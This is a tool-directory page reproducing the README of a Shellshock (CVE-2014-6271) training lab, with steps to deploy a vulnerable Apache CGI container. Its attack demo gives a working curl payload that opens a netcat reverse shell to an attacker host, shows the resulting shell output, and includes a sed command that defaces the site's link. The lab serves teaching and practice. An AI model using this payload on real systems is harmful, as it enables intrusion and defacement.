Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2014-6271-Apache-Debian — This Repo is PoC environment of CVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271). | Kitploit
Tools/GitHubGitHub/mochizuki875/cve-2014-6271-apache-debian
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubmochizuki875/cve-2014-6271-apache-debian

CVE-2014-6271-Apache-Debian

This Repo is PoC environment of CVE-2014-6271(https://nvd.nist.gov/vuln/detail/cve-2014-6271).

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
124 years agoNot yet reviewed

CVE-2014-6271-Apache-Debian

Overview

This Repo is PoC environment of CVE-2014-6271.
You can deploy web service including vulernability using apache2 container image.

Preparation

Image Build

Build insecure image from Dockerfile.

root@kitploit:~
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

Deploy PoC Container

Docker

Deploy PoC container as a docker container.

root@kitploit:~
# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Deploy PoC container as a k8s pod and service.

root@kitploit:~
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Access PoC Web Service

After the deployment is completed, you can browse the web page by accessing the following URL with a browser.
You can access the k8s lab environment by clicking the link "Click!" under the web page.

Docker

root@kitploit:~
http://<docker host IP>:8080

Kubernetes

root@kitploit:~
http://<k8s service endpoint>:<k8s service port>

Attack Demo

In this demo, you can change the web page from Attacker Host (outside of container) exploiting vulernability of CVE-2014-6271.

Exec these commands from attacker host.

Terminal 1

root@kitploit:~
# nc -nvlp 5050

Terminal 2
※In this case, we deploy PoC container using Docker. In case of Kubernetes, the URL should be http://<k8s service endpoint>:<k8s service port>.

root@kitploit:~
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

After that, you can see that the /bin/bash of the PoC container can be executed in the terminal 1.

root@kitploit:~
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Change the link "Click!" of web page.
In this case, we use dummy page for malicious link.

root@kitploit:~
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Access the web page again and clicking the link "Click!" under the web page.

root@kitploit:~
http://<docker host IP>:8080

Reference

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271

Download Tool